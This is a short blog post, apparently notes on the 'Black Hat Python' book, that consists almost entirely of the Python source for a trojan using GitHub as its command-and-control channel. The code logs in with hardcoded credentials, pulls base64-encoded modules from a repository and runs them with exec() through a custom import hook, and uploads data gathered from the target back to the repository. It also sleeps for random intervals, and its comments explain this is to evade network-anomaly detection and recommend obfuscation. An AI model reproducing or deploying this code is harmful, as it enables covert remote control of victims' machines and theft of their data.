Python黑帽子-基于GitHub的命令及控制

0xGeekCat · 2020-8-9 · 次阅读


编写基于GitHub通信的木马

import json
import base64
import sys
import time
import imp
import random
import threading
import queue

from github3 import login

trojan_id = "abc"

trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules = []
configured = False
task_queue = queue.Queue()

# 这里的 GitHub 账号以及仓库配置可以用 yaml 文件读取或者自行做加密混淆
username = "GDUFS-0d4y"
password = "e>qn'y823"
repository_name = "chapter7"
branch_name = "master"


# 对用户进行认证,获取当前repo和branch的对象提供给其他函数使用
# 实战是要将认证函数代码进行混淆以免泄露
def connect_to_github():

    gh = login(username=username, password=password)
    repo = gh.repository(username, repository_name)
    branch = repo.branch(branch_name)

    return gh, repo, branch


# 从远程repo中抓取文件后将文件内容读取到本地变量中
def get_file_contents(filepath):

    gh, repo, branch = connect_to_github()
    tree = branch.commit.commit.tree.to_tree().recurse()

    for filename in tree.tree:

        if filepath in filename.path:

            print("[*] Found file %s" % filepath)
            blob = repo.blob(filename._json_data['sha'])

            return blob.content

    return None


# 获取repo中远程配置文件,木马解析其中内容获得需要运行的模板名
def get_trojan_config():

    global configured
    config_json = get_file_contents(trojan_config)
    config = json.loads(base64.b64decode(config_json))
    configured = True

    for task in config:

        if task['module'] not in sys.modules:

            exec("import %s" % task['module'])

    return config


# 将目标机器收集的数据推送到repo
def store_module_result(data):

    gh, repo, branch = connect_to_github()
    remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000, 100000))
    repo.create_file(remote_path, "Commit message", base64.b64encode(data.encode()))

    return


class GitImporter(object):
    def __init__(self):

        self.current_module_code = ""

    def find_module(self, fullname, path=None):

        if configured:

            print("[*] Attempting to retrieve %s" % fullname)
            # 调用远程文件加载器
            new_library = get_file_contents("modules/%s" % fullname)

            if new_library is not None:

                # 如果repo中定位到所需模块文件,对其内容进行base64解密并将结果保存到GitImporter
                self.current_module_code = base64.b64decode(new_library).decode()

                return self

        return None

    # 完成模板实际加载过程
    def load_module(self, name):

        # imp创建空模块对象
        module = imp.new_module(name)
        # 将新建模块添加到sys,modules列表
        exec(self.current_module_code, module.__dict__)
        sys.modules[name] = module

        return module


def module_runner(module):

    task_queue.put(1)
    # 调用模块的run函数
    result = sys.modules[module].run()
    task_queue.get()

    # 保存结果到我们的 repo 中
    store_module_result(result)

    return


if __name__ == "__main__":

    # 在木马主循环前添加自定义模块导入器
    sys.meta_path = [GitImporter()]

    while True:
        if task_queue.empty():
            # repo中获取木马配置文件
            config = get_trojan_config()

            for task in config:
                # 对需要运行的模块单独创建线程
                t = threading.Thread(target=module_runner, args=(task['module'],))
                t.start()
                time.sleep(random.randint(1, 10))

        # 木马休眠随机时间避免目标网络产生流量异常
        time.sleep(random.randint(1000, 10000))